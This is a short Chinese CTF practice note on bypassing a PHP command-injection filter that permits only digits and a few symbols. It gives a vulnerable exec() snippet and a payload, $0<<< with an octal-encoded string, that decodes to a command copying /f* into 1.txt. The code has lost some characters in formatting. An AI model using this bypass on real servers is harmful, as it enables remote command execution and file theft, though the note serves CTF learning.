RCE联系

过滤

绕过空格

● 进制绕过

题目练习

数字rce

使用$0执行bash,<<<将后面的字符串传递给左边的命令。

例如:
<?php highlight_file(FILE); function waf(cmd) { whiteList = '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\\\', '\\'', '$', '\<'; cmd_char = str_split(cmd); foreach (cmd_char as char) { if (!in_array(char, whiteList)) { die("hacker"); } } return cmd; } cmd = _GET\['cmd'\]; exec(waf(cmd)); cmd=0\<\<\<'\143\141\164\040\57\146\52\040\76\040\61\56\164\170\164' 0代表当前脚本名称,如何在bash里运行代表/bin/bash \<\<\<是bash中的Here String重定向符,会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过,相当于'cat /f* > 1.txt'

相关推荐
Elastic 中国社区官方博客6 分钟前
OpenTelemetry Java 扩展:无需分叉 agent 即可自定义追踪
java·大数据·运维·开发语言·数据库·人工智能·elasticsearch
只爱喝胡辣汤16 分钟前
Redis Intset(整数集合)技术文档
redis
01传说1 小时前
redis开机自启脚本
数据库·redis·缓存
这个DBA有点耶1 小时前
数据库运维的“自动驾驶”:KES-Operator如何把DBA经验编码为软件
数据库·dba·自动化运维
动力 continue1 小时前
MySQL 基础篇 · SELECT 查询大
数据库·sql·mysql·select
程序员-Benothing2 小时前
MySQL 索引下推是什么?——深入理解 ICP 原理与实践
android·数据库·mysql
这个DBA有点耶2 小时前
MySQL主从延迟的“最后一公里”:如何把延迟压到极限
数据库·程序员·架构
DianSan_ERP2 小时前
WMS接入电商平台自动化履约实战:一张订单从平台到出库的接口时序设计
java·前端·网络·数据库·安全·架构·自动化
智购科技自动售货机工厂3 小时前
2026自动售货机语音支付模块集成:从声纹识别到支付闭环的工程实践~YH
大数据·服务器·网络·数据库·人工智能
只爱喝胡辣汤3 小时前
Redis SDS(Simple Dynamic String)技术文档
redis